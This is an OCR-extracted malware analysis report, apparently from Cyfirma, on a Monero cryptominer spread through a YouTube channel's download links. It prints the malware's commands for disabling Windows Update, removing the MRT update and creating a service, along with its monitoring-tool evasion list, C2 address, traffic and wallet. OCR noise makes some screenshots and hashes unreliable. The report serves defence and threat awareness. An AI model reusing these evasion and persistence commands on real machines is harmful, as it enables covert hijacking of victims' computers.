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EXECUTIVE SUMMARY o

At Cyfirma, we are committed to providing up-to-date information on the most prevalent threats and tactics
used by malicious actors to target both organizations and individuals. This comprehensive analysis delves
info the dissemination of cryptocurrency miners through a YouTube channel. Examining the tactics
employed, the report reveals a concerning tfrend of malicious actors leveraging popular video-sharing
platforms to distribute mining threats. The study explores the various evasion techniques, employed by threat
actors to avoid detection. Additionally, it sheds light on the processes for generating resilient malware
payloads. Notably, the report underscores the adaptive nature of these threats, highlighting the need for
heightened security measures and user awareness in mitigating such risks.

INTRODUCTION .

Malicious crypto miners, also known as Cryptojacking malware, represent a growing cybersecurity threat,
exploiting unsuspecting users and organizations for illicit cryptocurrency gains. These insidious programs
clandestinely infilirate systems, harnessing the computational power of targeted devices to mine
cryptocurrencies without the user's knowledge. The impact of malicious crypto miners extends beyond
resource depletion, causing system slowdowns, increased energy consumption, and potential hardware
damage. Cybercriminals continuously evolve their tactics, employing sophisticated techniques to evade
detection and maximize their mining operations.

KEY FINDINGS .

e A YouTube channelis distributing the Monero cryptocurrency miner in the form of download.

e The downloaded file is a password protected compressed archive.

e The YouTube channel hosts the primary link (URL) to the download malware on its ‘about’ page.

e The threat actor consistently alters both the downloading URL and the attributes of the compressed
file, including its name and size, while maintaining a constant functionality for the final malware.

e The uncompressed file is inflated with null bytes to increase its overall size, serving as a protective
measure to elude antivirus and analysis tools.

e A mulli-step process is employed to generate the ultimate payload of the malware.

e Malware uninstalls the Windows MRT (Malicious Software Removal Tool) update and disables the
Windows update services.

e Utilizes anti-debugging techniques and follows a stealth operation process.

e Malware adds itself as an autorun service for persistence.

¢ Injects the malicious code (process hollowing) in the legit windows process to create and monitor
the mining activity.

¢ Communicate with C2 with status update and receive instruction at regular intervals.

e Continuously scans for monitoring tools and refrains from engaging in mining activities if the systemis
under surveillance.

e Additionally, abstains from engaging in mining activities if the system is actively in use.
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ETLM ATTRIBUTION .

Monero is a widely recognized cryptocurrency that distinguishes itself by allowing mining through the end
user's CPU, setting it apart from other cryptocurrencies that use alternative mining methods. An emerging
threat has adopted the concept of utilizing a YouTube channel as a distribution platform for Cryptojacking
malware, exploiting the idea of mining Monero through the end user's CPU.

The malware is disseminated in the form of a compressed archive, with the URL discreetly shared on the
about page of the YouTube channel. This serves as a deceptive cover for the actual download, appearing
as a video resource on the site.

rovw.youtube.com/@Do

@Downlc

|DOWNLOAD |

1. Click on the link belov irt downloading >

and 1 more link

v.youtube.com

About

1. Click on the link below and start downloading
2. Turn off your antivirus for the duration of the installation
2. Open the Archive, after setup.exe
| DOWNLOAD LINK |
and 1 more link

Links

r- PASSWORD:1234

Home

Channel details
@ www.youtube.com/@Download-Links

8 608 subscribers

N i e d A AAAA
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The URL shared on this page is for the GitHub repository that belongs to the threat actor who's profile
name is ‘MrFiles’:

< C O 8 ‘github.com/Mr

O Product Solutions Open Source Pricing

Overview

Popular repositories

3 contributions in the last year

Contribution activity

December

¢+ Created 1 commit in 1 repository

Created their first repository

Product ¥ Solutions ¥ Open Source ¥ Pricing Search of jump K@ Signin | Sign up

Redirectssv1
®

v Assets 3

As of the current writing, the GitHub account associated with this has been deleted.

This wasn't the sole instance of a malware file or URL employed by the threat actor on the YouTube channel's
about page; rather, we have identified numerous such samples in earlier observations.

The provided screenshots are among the few that depict noticeable changes in the URL, filename, and size,
indicating a dynamic pattern employed by the threat actor in altering these attributes:




Decoding the Cryptocurrency Malware Landscape

€8 :Download: - YouTube x H-; ]

(&) ) httpsy/wwiw.youtube.com/S Download-Links/about

About

1. Click on the link befow and start downloading
2 Open the Archive And installer exe
L DOWNLOAD LINK |

Links

PASSWORD 1234:
workupload com/file/3yRBfvmHV

Channel details

@ wwwyoutube com/@Download-Links

A% 431 subscribers

(i) Joined Oct 5, 2023

£ Share channel

) https//workupload.com/start/3yRBivmHVI %

Flename Installerras

Flesize: 89614542 (Byie)

Chacksum 97021651 1189032074077 511408 140230840 1 45733450 Saecle06S
co807303 (SHA238)

This file was uploaded by a user 4

QR:URL

Download from workupload.com
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Shorts

Subscriptions

You

1to like videas,
ent, and subscribe.

sign in

Trending

Music

Mavies

f} https//www.mediafire.com

Search

Home

ar and 1 more lind

2. Open the Archive, after setup.exe

. DOWNLOAD LINK |

Links
PASSWORD: 1234

E mediafire com/file/nuas4hnanuzOmm/Set

WINRAR:

Channel details
@ www.youtube com/@0Download-Links

bscribers

Joined Oct 5, 2023

)
L

~p Share channel

<+ MediaFire

SIGN UP

Hands-on cost
management
for Azure

Gat my Guide

THIS IS WHERE <

YOUR WORK MATTERS

APPLY NOW

,. Setup_PSWRD_1234

< & +

S Setup PSWRD_1234.rar
Compressed Archive (.RAR)

Setup_PSWRD_1234.ror
Can be opened with

- WinZyp for PC
Flle size: 41 66MB -

Uploaded: 2023.12-04 13.46.28

Download from mediafire.com
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www.youtube.com/@ Download-Links/about

( seareh A I g

About X

1. Click on the link below and start downloading

2. Turn off your antivirus for the duration of the installation
2. Open the Archive, after installer.exe

. DOWNLOAD LINK |

Links
PASSWORD 1234:

upload.advgroup.ru/XLUaiwhV

WINRAR:

win-rar.com

Q 5]
Channel details

@ www.youtube.com/@Download-Links

2 708 subscribers

¢ Online file sharing +

A
:-:_;\ 'l,;/
- AN -
/ ————
J L] \‘\:"‘
Total size: 15.49 MB
Total files: 1
Destructed at: 2024-01-09
Download id: XLUatwhV

Files:
s Installerrar

Download from advgroup.ru
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Threat Landscape: From an external threat landscape perspective, the utilization of the widely accepted
video-sharing platform, YouTube, for the distribution of the cryptocurrency miner underscores a troubling
trend. Cyfirma’s research team highlights the evolving tactics of threat actors, who are employing distinct
methods to disseminate their malicious creations and evade early detection. The threat actor associated
with this malware demonstrates adaptability by employing various techniques to obfuscate the malicious
sample, aiming to remain undetected for as long as possible. This emphasizes the need for continuous
vigilance and advanced detection measures to counteract such dynamic threats.

ANALYSIS OF CRYPTO-MINER .

File Analysis

File Name LaunchlnstallerFile_Passwd_1234.rar

File Size 11.4 MB (1,20,14,206 bytes)

Signed Not signed

MD5 380f9774da8b0eb497bad9od4adfebfdb4d

SHA-256 454df772c510dbd8811382e0aa578b462ddfa520314468ac96efc2a61b358cd9
Date Modified | 12 December 2023

The original malware sample comes as a RAR archive with the password ‘1234’ This RAR archive contains a
malicious executable “Autolnstall.exe” with other files that include files signed by Microsoft with valid
signature and required for execution.

The Ist Payload:

File Name Autolnstall.exe

File Size 743 MB (78,00,00,000 bytes)

Signed Not signed

MD5 ed4a65c1d8afb84b9ae8e57307cdb4fa

SHA-256 7bb518d6881bb9fd88af0ab5be64765a3106e41d54f64e8f515643e5767d888e
Date Modified | 12 December 2023

Autolnstall.exe is a 32-bit GUI executable, an inflated file created with the help of script driven installer NSIS
(Nullsoft Scriptable Install System) with large file size that contains 99.99% of its content as Overlay, contributes

to evading antivirus:

footprint > sha?36

entropy
file-offset

size

signature
first-bytes > hex
first-bytes > text
file-ratic

BO51DB21FEEEE4EBE38114FT20CTB7CA346DDATOBBDCET3A4FFACFE93153E8CT4

0.249

(00019400

779895040 (bytes)

Mullsoft

02 00 00 00 EF BE AD DE 4E 73 6C 6C 73 6F 66 74 49 6E 73 74 D6 16 00 00 41 4E C6 00 70 02 00 20
comewoMullsoftinsto. L ANLLp LG

99.99 %

Overlay section detail




Hex

Disasm

Hash - C 4 : - Symbols
Strings

Signatures

Memory map
Entropy

Heuristic scan
Extractor

Search

Tools
IMAGE_DOS_HEADER
Dos stub

IMAGE_NT_HEADERS
IMAGE_FILE_HEADER
* IMAGE OPTIONAL HEADER
IMAGE_DIRECTORY_ENTRIES
Rich Signature
Sections = 00 ] 00 00 00

Info
Import
* Resources C s 00 0 00 00 00 00
Manif

_

Null Bytes in Overlay section

The execution of the file requires administrative privilege:

<2xml version="1.0"2>
<nl:assembly xmins:nl="urn:schemas-microsoft-com:asm.v 1" manifestVersion="1.0">
<nl:assemblyldentity version="1.0.0.0" processorArchitecture="*" name ="Mullsoft.NSIS.exehead” type="win32"/>
<nl:description =Mullsoft Install System v3.08 </n 1:description =
=n2:trustInfo xmins:n2="urn:schemas-microsoft-com:asm.v3">
<n2:security>
<n2:requestedPrivileges »
<n2:requestedExecutionLevel Ievelinccess ="false"/=
<fn2irequestedPrivileges =
<fn2:security>
</n2:trustinfos
<n3:compatibility xmins:n3="urn:schemas-microsoft-com:compatibility.v 1™
<n3:application>
<n3:supported0s Id="{8e0f7a12-bth3-4fe8-bIa5-45fd50a 15a%} "=
<n3:supported0s Id="{1f675c75-802 1-4239-95bb-83d0fad0da 78} "/ =
<n3:supported0s Id="{4a2f2823-53b9-9441-badc-de9d4adace3s} [ =
<n3:supported0s Id="{35138b%a-5d%6-4fbd-Be2d-a2440225f93a} "/ >
<fn3:application>
< /n3:compatibility >
<nl:assembly>

Both the RAR archive and extracted executable (Autolnstall.exe) have no detections at the time of writing.
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BEHAVIORAL & CODE ANALYSIS .

The 2nd Payload:

Upon executing the Autolnstall.exe, it drops an executable ‘software2.exe’ in the AapData folder
(C:\Users\user\AppData\Roaming) of current user:

File Name software2.exe

File Size 743 MB (78,00,00,000 bytes)

Signed Not signed

MD5 ae0e0e425bbc61ed33ed008d44d22ce9

SHA-256 12c4e815d60b14450fclabcdd6290f80b4bccecf34bc09ff89965c4f65f9986¢
Date Modified | 12 December 2023

This file (software2.exe) is an inflated 32-bit GUI executable with 99.43% of its content as Overlay data of
zero entropy (null bytes):

footprint > sha?36 06DF454298B13CEAICSE4FERAL0CST1DDCDAF0ADZT4117B4ESTAEBEEBCDEFD228

entropy 0000

file-offset 000442000

size 775535360 (bytes)

signature

first-bytes > hex 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00
first-bytes = text [

file-ratio 99.43 %

This executable disguised itself as “FlashDevelop.exe":

B softwared.exe Properties >

General Compatibilty Securty Detaills  Previous Versions

Property Value
Descripticn
File description ~ FlashDevelop
Type Application
File version 5000
Product name  FlashDevelop 5.3.3.1 for NET 4.0 {mast...
Product wersion 5.0.0.0

Copyright FlashDevelop.ong 2005-2018
Size 425 MB

Date modfied  02-01-2024 10:41

Language Language MNeutral

Original filename FashDevelop exe
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The 3 Payload:

In confinued execution, software2.exe drop another executable ‘software.exe’ in the same directory
(C:\Users\user\AppData\Roaming):

File Name software.exe

File Size 743.87 MB

Signed Not signed

MD5 laccf288f3d7¢35497e4b422671fae5b

SHA-256 264d33a2988d994bbd7f7ebe934b125a5953399f2189eb06da3c16a0b7dd89a3c
Compiler Stamp | Thu Nov 30 20:32:51 2023 | UTC

Software.exe is also an inflated file, a 64-bit GUI executable with 99.06% of its content as Overlay data of
zero entropy (null bytes):

footprint > sha236

entropy
file-offset

size

signature
first-bytes > hex
first-bytes > text
file-ratio

SEOES4EZ999E8CEBCCEB5E8B373F4BFESEASDERACARETT34EDDBTANES9S0CA52

(x006F3200

772686392 (bytes)

00 00 00 00 0D 00 00 00 00 00 00 00 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000

o0 ne o
9,06 %

This executable disguised itself as “VLC media player”:

B software.exe Properties

General Compatibiity Securty Details

Previous Versions

Property
Description
File description

Type

File: version
Product name
Product version

Yalue

WLC media player
Application
3030

WLC media player
1030

—opyright Copyright © 19596-2018 Video LAN and VLC Awuthe
Size 743 MB

Date modified  12-12-2023 07-04

Language English (United States)
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As anti-debugging, software.exe has 3 TLS callback functions and TLS callback 1 produce the error by
calling ZwRaiseHardError APl and the exit the process:

Address

[aEalala]

Module/Label /Exception Disassembly Summary
00007 FF7 20171760 software. exe add byte ptr ds:[rax],al LS CallBdack 2
00007 FF72DA7ATED software. exe add byte ptr ds:[rax],al TLS Callback 2
00007 FF7 2ZEQ0A3ATC <software. exe. EntryPoint push ri3 entry breakpoint
00007 FF7 2ZEQASF4C software. exe call software.7FF72EQSEGFOD TLS Callback 1

[6]

software

EXE

O QOOG003MN

4C: BBD1

B& 63010000

FeD425 OBD3IFEFF 01
75 03

OF05

mov rlo,rcx
mov eax,l&8
test byte ptr ds:[FFFED308],1

ZwhaiseHardeError

inE ntd11.7FFBE3C4FD55

Exception raised by TLS callback function

Software.exe performs series of operations that includes adding the executable (.exe) files as an exception
from Windows Defender scanning, uninstalling Windows MRT (Malicious Software Removal Tool) update,
disabling Windows update services (UsoSvc, WasSMedicSve, wuauserv, BITS, dosvc), altering the power
setting of the system, and deleting a service subkey ‘ghub’ from the registry:

VLC media player
Window

Windows

ager Configuration Tool

er Configuration Toal

E

i
W

Wl

\Users\AP\App Data'\Roaming\softw:

\WINDOW

\WINDOW

WINDO

WIND:

WIND:

Wl

\WINDOWS

\WINDOW

\WINDOWS\system3

\WINDOW

\WINDOW
OWS\S
oW
OWS\S
oW

WIND

INDO

W

\WINDOW!
\WINDOW!

C:\WINDOW

C:\sers\AP\AppData\Roaming‘softw

CAWINDOW
WINDOY

Process tree (software.exe)
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A copy is also created in the ProgramData folder (C:\ProgramData\bnmabkttxedp) as “ghub.exe” and
registers as service to start and executes the executable; aids the malware in establishing persistence on
the system. I also stops the system Event Logging and deletes itself:

Microsoft Corporation S| g » Maystem32\sc exe create "ghub” binpath= "C:\ProgramData“bnmabkttxedp ghub exe" start="auto"
0| o 9] ystes

Process tree (software.exe)

B Registry Editor
File Edit Wiew Favorites Help
Computer\HEKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\ghub

gencounter ~ || Name Type Data
9:”;”‘”“’“” 25| (Default) REG_SZ (value not set)
gPIIJOCI oo 24| ErrorControl REG_DWORD 0x0000D000T (1)
* ab||magePath REG_EXPAND_SZ C\ProgramData\bnmabkttcedpighub.exe
sve
e ab| ObjectName REG_SZ LocalSystem
GpuEnergyDrv
G . ia| Start REG_DWORD (rc0000D00Z (2)
raphicsPerfSve
HdAudAddServi fis| Type REG_DWORD (rc0O000D010 (16)

Service registry (ghub)

The 4™ Payload:

At this stage of execution, ghub.exe runs as the service:

Image

u Services and Controller app
Microsoft Corporation

Name: services.exe
Version: 10.0.19041.1 (WinBuild.160101.0800)
Path:

CAWINDOWS\system32\services.exe
Command Line:

CAWINDOWS

PID: 68¢ Architecture:
Parent PID: Virtualized:

Event Properties

mage

l:l VLC media player

VideoLAN
Name: ghub.exe
Version: 3,03,
Path:
C:\ProgramData\bnmabkttxedp\ghub.exe
Command Line:

C:\ProgramData\bnmabkttxedp\ghub.exe

PID: 4952 Architecture:
Parent PID: 588 Virtualized:
Session ID: Integrity:

User: NT AUTHORITY\SYSTEM
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ghub.exe performs all the task similar to the software.exe (3 stage payload) such as modifying the Windows
defender to exclude ‘exe’ files from scanning, uninstalling Windows MRT (Malicious Software Removal Tool)
update kb890830, disabling Windows update services, altering the power setting of the system.

XOT TCTX,TCX

| cant ghub. 7FF 619909850 ey

mov gword ptr ds:[7FF619900010],rax RAX 1000000000000001E e » : : e - e .

XOr rax,rax RBX  00000067487CDF70 L"C:\\WINDOWS' \system32'\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
0000000000000000

mov eax,dword ptr du:[7FF61990000C) BOX
mded ema 0 RNY NNNNNNATAR7CNC AN

Uninstalling Windows MRT update kb8%0830

BOV YWUI U PLD SSTEISPTIug, 1o |
sub rsp,28 - = e

000000000000002 &
mov_ecx,dword ptr ds:[7FF61990D000] Bax ¢ £ ke " ; "
€all ghub. 7EF6199098A0 Rgx UD',J(LO’O?’&” B L"C:\\WINDOWS\\system32\\sc.exe stop UsoSvc
mov dword ptr ds: [7FF61990D00C],eax ’g:é ggg:’ﬂgzi::n‘zﬁ;z;
SUD TSP20
?,3‘1’1 E;EL‘,S“'?Egsi’égogg,;\g?““”w"mi | BAX  0DOOTFFG61990156C ghub. 00007FF61990156C
mov dword ptr ds:[7EF61990D00C],eax | RBX  000DODE7487CDF70 LYCI\A\WINDOWS\\system32'\\sc. exe stop wWaasMedicsSvc"
XOF rcx,rcx I‘ RCX 0000000060FCSF6L

MOV UWOT O PUr Us: [7FFBLI90000C ], cax

XOr rEX,rcx Ry =
€allghub. 7FF619909B50 | RAX rJ»JllJOJOgJJOfJUOJG B . .
mov qword ptr ds:[7FF61990D010],rax RBX 00000067487CDF70 L"C:\\WINDOWS\\system32\\sc.exe stop wuauserv
XOr rax.rax = BCX  0000000000000000

s e
Bl Ghiib. 7EE619909850 RAX 00000000000000LE 3 ;
;g\'/]qgogg ptrejt: {7,:26199000101 rax RBX 00000067487CDF70 LYC:\\WINDOWS\ \system32\\sc.exe stop bits"
e > = BC 0000000000000000
. . - - "
ﬁgydgg"}g';i,’fﬂ?f’???é‘glwmox? = RAX  00O007FF6199014D6 ghub. 00007FF6199014D6
XOF FEX, rCX i = RBX 00000067487CDF70 L"C:\\WINDOWS\\system32\\sc.exe stop dosvc"

Stopping the Update services

It renames the associated registry key names for the stopped services to disable the services permanently,
adds ‘_bkp' to the existing registry names:

jne ntd11.7FF8E3C50255 | | RSP DOGOD067487DDEFS
EviEET NTREnameKey RSI  00007FFELIFESL00 L"Usosve_bkp"”
:ﬁ T RDI 00007FFGLIFESO80D L"\\Registry\\Machine\\SYSTEM\\CurrentControlset\\Services\\usosvc"
ne ntdl1.7FF8E3C50675 | RSP 00000067 487CDEFS
_ |NEtRenamekey RSI 000 F619FES1BO L"waasMmedicSvc_bkp"
‘ res RDI 00007FF619FES120 L"\\Registry\\Machine\\SYSTEM\\CurrentControlsSet\\Services\\WaasmedicSvc"
| Sne oc
2 ntd11.7FFSE3C50A95 | RSP  000C0067487DDEFS
_ |NtReénameKey RSI 00007FFE19FEB260 L"wuauserv_bkp"
reE S RDI 00007FF619FESIED L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\wuauserv"
Renaming the registry keys

$4: wuauserv Windows Update Stopped

&4 WwanSve S X ped

. ervices

+ XblAuthMarn ped

. XblGameSay ped

{4 XboxGipSvc I Windows could not start the Windows Update service on ped

= ] Local Computer.

i XboxNetAp z 3 ped

. Error 2; The system cannot find the file specified. S
| Fewer det
i

Update Service disabled on the system
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In confinuation, ghub.exe performs process hollowing, creates a process (NtCreateUserProcess)
conhost.exe in suspended state, injects the code in the processes memory (NtWriteVirtaulMemory) and
change the protection flag (NtProtectVirtualMemory) before resuming the execution:

_ NtCreateUserProcess R5I 00000067 487DD738
r_ﬁ e RDI 00000067 487007 A0 L™ PPC Y\ WINDOWSY |\ system32y\ conhost . exe”
1
Ll =1 Default (x64 fastcall)
) I rcx ODD0006748700DA50 00000067 487DDAS 0
mov rild,rcx ZwsSetTimerEx

1

2: rdx 00000067487DDASSE 00000067 487DDASS

3: r8& 00000000001FFFFF OO000000001FFFFF

4: r9 00000000001FFFFF O0000000001FFFFF

5: [rsp+28] 0000000000000000 0000000000000000

mov eax,l1B0
test byte ptr ds:[7FFE0308],1

nop dword ptr ds:[rax+rax],eax
jne ntdll.7FFBE3C50655 ‘

B conhost.exe:3800 Properties — O s
Image Performance Performance Graph Disk and Metwork GPU Graph Threads
TCP/IP Security Environment Strings

Printable strings found in the scan:

BKC?YBEBE— -~
¥¥yy

‘99999399

9999

KR»S

TaT

aazaaaaa

WAWWAWWWWW B2

OOy

Anna s s T hyyyyyyyed Tuv v

w13y

QGZ% " hignQBVX] "cZQHNHI:BQgggZciBdcigdaHZQHZ gk ™" ¥ZhQj W
“Registry"Machine*5¥STEM \CurmertControl Set*Services \ghub
ImagePath

Start

“BaseMamedObjects wcriggkcroe

SYSTEMROOT=

“System3Z

“wemd exe

“WindowsPowerShel'w 1.0hpowershell .exe

PROGRAMDATA=

“brmabkttxedptghub exe

‘reg.exe

“SC.exe

“BaseMamedObjectsymrcymaxnnvhpopa

“BaseMamedObjects 'sbdwsvifwylamgmpxjynemg

MZx
IThig program cannot be run in DOS mode. & o
) Image (®) Memory Save Find

Injected code in conhost.exe process

Furthermore, ghbu.exe creates another process ‘dwm.exe’ (Desktop Window Manager) in suspended
state and injects code and resume the thread (process hollowing):

ine ntdl1.7FFSE3C4FA1S T . 0000000000000202 L'A
h y NtwritevirtualMemory 00000067487DF430 L"C:\\WINDOWS\\system32'\dwm. exe"
EeE 00000067 487DF070 L"C: \\WINDOWS\\System32"

The injected code is executable code that deploys cryptocurrency miner, stealth functionality for its
operation:

Offset™ Size Type String
00372158 Ob A json
00372168 12 <. XIrig.json
003722d8 03 XMRig
Usage: xmrig [OPTIONS]
-3, --algo=ALGO mining algorithm https://xmrg.com/docs/algorithms
--donate-over-proxy=MN  control donate over xmrig-proxy feature

58 --cuda-loader=PATH path to CUDA plugin (xmrig-cuda.dll or libxmrig-cuda.so)

0c A XMRig 6.19.3
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Offset ™ Size Type String
00372260 15 A cinit-stealth-targets
18 A cinit-stealth-fullscreen

E ! stealthfound

of A stealth-targets
12 A stealth-fullscreen

String from injected code snippet

Crypto-Mining: The final stage

As soon as the threat resumed, dwm.exe executes the injected code. Before initiating the mining process,
a checked is performed for the running monitoring fools, which is mentioned as ‘stealth-target’ in code:

mov 8 gword ptr ds:[rg]

Tea rdx,qword ptr ds:[1403CEDF8]
mov rcx, rsi

can 14001C94C

r8: "Taskmar, exe,ProcessHacker . exe,perfmon. exe, procexp, exe, procexpéd. exe, procmon. exe, procview. exe, sysexplorer. exe”
Fax: " ZSkVIECTCULARIRIGY, 00000001403C80FE: "stealth-targets™

Targeted monitoring tools

!1ea rax,qgword ptr ds:[1403Cs8DA0] Ir s procexps4 exe“, 0000000 1403C80A0D: "steal thfound”
imov gword ptr ss:frbp-30f,rax ’:rbo-sc:' status’
mov dword ptr ss:§rbp-233,C X T

mov ra,rdi

lea ra,qword ptr ss: [r‘*"]
Jea rdx,gword ptr ss:frbp-3
l1ea rcx,qword ptr ss:fr
€all 140088394

Stealth code found Process Explorer

In the event of detection of any active monitoring tool/process by the stealth functionality, no mining activity
will be conducted. The code recursively checks for the monitoring tools and if the monitoring tool is
activated while mining is active, mining stops immediately:

mov byte ptr fﬂ[wm;--],fl’o x

lea rdx,qword ptr ss: - -4}.

égg»,' i:c,’g\z\ggg4ptr RAX 000002B262658F01 “hrate\":0.0,\"status\": 4, \"stealthfound\":\ "procexp64.exe\"}"
Tea rcx,qgword ptr = 203 REX  0000000000000004

€a¥yl 140041574 d RCX 000002B262658F335

oy rayx pword ntr coeEBron.c ol RDX 000002R2C2ES BF 24 = ot i

Mining stopped when Process Explorer activated (hrate: 0)

Mining is also pauses if the user is active on the system:

Tea r8d,qword ptr ds:[ri3+£]
mov rcx,rbx

lea rdx Jgword ptr ds:[1403762A0] | 000C000140376240;" --pause-on-active=N pause ming when the:user is active (resume after N seconds of last activity)in”
€all 14001BE88

These activities are reported at regular intervals to the threat actor at IP address “185[.]221[.]196[.]81":

{1ea rax,qword ptr d€:[1403C80A0] | 60000001403C8DAD: "stealthfound"
| mov. gqword ptr ss:firbp- ,‘:},'a.x [r op—-u :"status”

| mov dword ptr ss:§rbp-28§,C G XTF

| mov ro,rdi

| lea r8,qword ptr ss: rbp ropl:&”: //185.221.196.81"

| Tea rdx,qword ptr i rbp-301:"status"
\1ea rcx,qgword ptr ss:

cali 130088394

e
= e |
o o
e le
St
oW
[ )
bt
e
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The mining process also receives instructions from the C2 while reporting the status:

xor rs8d,rsd
mov rdx:qword ptr ds: [1404DC418] |rdx:"ZSKVIECrCUL4P.RIG", 00000001204DCAL8 2" Cinit-stealth-targets"”
mov rcx,rdi

cali q“ord ptr ds: [rax+z0j
lea rcx,qword ptr ds: [rbx i
mov rdx,rax rdx: "ZSkvZECrCuL4P.RIG"
call 1400404(:.4

frax+203:"http://185.221.196.81/api/endpoint.php"”

AUl I OQu,yr OU
mov rdx,qword ptr
mov rcx,rdi

01404DC420:&"cinit-

03 frax+20j:"http://185.221,196. pi/endpoint. php"

mov rdx,rax

Network traffic capture also confirms the communication pattern between mining bot and C2:

POST /api/endpoint.php HTTP/1.1
Accept: */*

Connection: close
Content-Length: 518
Content-Type: application/json
Host: 185.221.196.81
User-Agent: cpp-httplib/@.12.6

1"id" : " Jmrcymaxnnwhpcpa™, "computername™ : "DESKTOP-AADNSIK” , "username™ :

TSYSTEM”, "gpu™:"VMware SVGA 3D","cpu”:"11th Ge

n Intel(R) Corc(TM) iS-llBSG? @ 2.48GHz","remoteconfig":"", "vcr;lon"'"B 4.a", "nctiv:window":"Running as System™,"ru
ntime":lSB, type™: "xmrig”, "pool”:"us *ephyr miningocean.org”, port 5442, algo U rx/@", "worker”: ", "password” : "RIG"
2 user™: EPHYRZ _—F/"|,A|||r 1k 22e o '-\R_-_I'—'! 1bY 24 7 Wo T SUZRAVIWWD ) 1DgkfbholUEE] TadqadDVemgPZSkv3IECrCuL4P . RIG"
,[hashrate" 8.8, status 4, stealthfound Erocexgu4 exe JIHTTP/1.1 298 oK

Date: Tue, 19 Dec 2823 16:16:58 GMT

Server: Apache/2.4.41 (Ubuntu) \

Vary: Accept-Encoding

Content-Length: 536 wallet address
Connection: close

Content-Type: text/html; charset-UTF-8

"alge™: "rx/e", No mining when active

"pool”: "us-zephyr.miningocean.org”, monitoring tool found

"port": 5442,

"wallet™: “IZIEPHYRZrZ4B26d2xbhyok22ejtoCTfkRISFmwasobyY24zkWofSUZRAVIWIZFwdoZj1lDgkfbholUEE] TadqadbvemqPISkvIECrCuLd
P.RIG",

"password": "RIG",

“nicehazh™: falsze,

"ss1ltls": true,

"max-cpu”: 58,

“idle-wait™: 1,
"idl:—cpu": 188,

"stealth- targets": "Taskmgr.exe,ProcessHacker.exe,perfmon. exe,procexp. exe,procexpbd. exe, procmon. exe,procview. ex
e,sysexplorer. exe”

"kill- tnrg:t;": -

“stealth-fullscreen™: false

Network traffic capture (no mining)

POST /api/endpoint.php HTTR/1.1
Accept: */*

Connection: close
Content-Length: 582
Content-Type: application/json
Host: 185.221.196.81
User-Agent: cpp-httplib/8.12.6

{"id": " jmrcymaxnnvhpcpa™, " computername” : "DESKTOP-AADNSLK™ , "username™ : "SYSTEM", "gpu™: "VMware SVGA 3D","cpu™:"1lth Ge
n Intel(R}) Core(Tﬂ) i5-1135G7 @ 2.4@8GHz","remoteconfig”:™","version™:"3.4.8","activewindow” :"Running as System","ru
ntime"”:3232, "type”:"xmrig”, "pool™: "us-zephyr.miningocean.org”, "port™:5442,"algo™: "rx/a", "worker"'"" "password”: "RIG
Yy tusert: "ZEPHYR2rFAR26d2XbhYok22e{tICfkRISFmwedGobY 24 7o TSUZRAVIMWS zFwdoZ j10gK fbhoiUEB jTadqadDVemgPZSkv3ECrCul4P . RIG
", fhashrate”:276.6645119586296, "status™ 2} HTTP/1.1 288 OK

Date: Tue, 19 Dec 2813 1/:9/:40 GMI

Server: Apache/2.4.41 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 536

Connection: close

Content-Type: text/html; charset=UTF-8

1

Mining process is active when

"alga™s *rx/8", no monitorng tool running

"pool™: "us-zephyr.miningocean.org”,

"port™: 5442,

"wallet": "ZEPHYRZrZ4B26d2xXbhyok22ejtaCfkRZSFmudsobY24zhofSUZRAVIIWIZFwdoZj10gKfbholUEBjTadqadDVemgPIsSkv3IECrCuLs
P.RIG",

"password”: "RIG",

"nicehash”: false,

"ssltls": true,

"max-cpu”: 58,

"idle-wait™: 1,

"idle-cpu™: 1@e,

"stealth-targets™: "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexpbd. exe,procmon. exe,procview. ex
e,sysexplorer.exe”,

"kill-targets": "",

"stealth-fullscreen™: false

Network traffic capture (active mining)
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The CPU load goes up to 100% while the mining is active:

BX Administrator: Command Prompt

osoft Windows [Version 18.8.19845
Microsoft Corporation.

32>wmic cpu get

No mining

wmic cpu get loadpercent

166

Mining active

If the mining process terminates, conhost.exe (with injected code) re-executes the ghub.exe (4™ payload)
which performs all the activity as mentioned earlier in its execution stage including creation of new instance
of dwm.exe (with injection) and resumes the mining process.
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CRYPTO-MINER CAPABILITIES .

The analysis of the Crypto-Miner provides insights of it and reveals its functionality. Based on the analysis and
the extracted data, followings are the capabilities of the Crypto-Miner malware:

1. Operated covertly.

2. Modify the Windows defender setting to add itself to the exclusion list.

3. Utilized process hollowing, targeting legit Windows process (conhost and dwm)

4. Runs as service and utilizes autorun registry for persistence.

5. Actively searches for surveillance tools and suspends mining operations when detected.

6. Employing measures against debugging and actively avoiding detection mechanisms.

7. Uninstalls Windows MRT (Malicious Soffware Removal Tool) update.

8. Stops and disables the Window update services (UsoSve, WasSMedicSve, wuausery, BITS, dosvc).
9. Alter the system power setting to keep the system up and running.

10. Sending status update to C2 at regular intervals.

CONCLUSION o

In conclusion, the distribution of cryptocurrency miner malware through a YouTube channel poses a
significant threat to users, as it takes advantage of a platform generally trusted for legitimate content. This
type of malware exploits the computational resources of infected systems to mine cryptocurrencies without
the users' knowledge or consent. The impact of such malware includes compromised system performance,
increased energy consumption, and potential financial losses for victims.

To mitigate the risks associated with cryptocurrency miner malware, users should exercise caution when
clicking on unfamiliar links, especially those promising dubious software or content. Additionally,
implementing robust cybersecurity measures, such as using reputable antivirus software, keeping software
up-to-date, and being aware of social engineering tactics, can help protect against these threats.

It is crucial for both platform providers and users to remain vigilant in detecting and reporting suspicious
activities. Collaboration between cybersecurity professionals, content creators, and platform administrators
is essential to promptly identify and address such threats, ultimately fostering a safer online environment for
all users. Education and awareness campaigns can also play a pivotal role in equipping individuals with the
knowledge needed to recognize and avoid falling victim to such malware, thereby contributing to a more
resilient and secure online ecosystem.
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INDICATORS OF COMPROMISE .

1 Execution (TA0002)

T1059.001: PowerShell

T1059.003: Windows Command Shell

T1569.002: Service Execution

T1204.001: Malicious Link

T1024.002: Malicious File

2 Persistence (TAO0O03)

T1547.001: Registry Run Keys / Startup Folder

T1543.003: Windows Service

T1653: Power Settings

3 Defense Evasion (TAO0O5)

T1622: Debugger Evasion

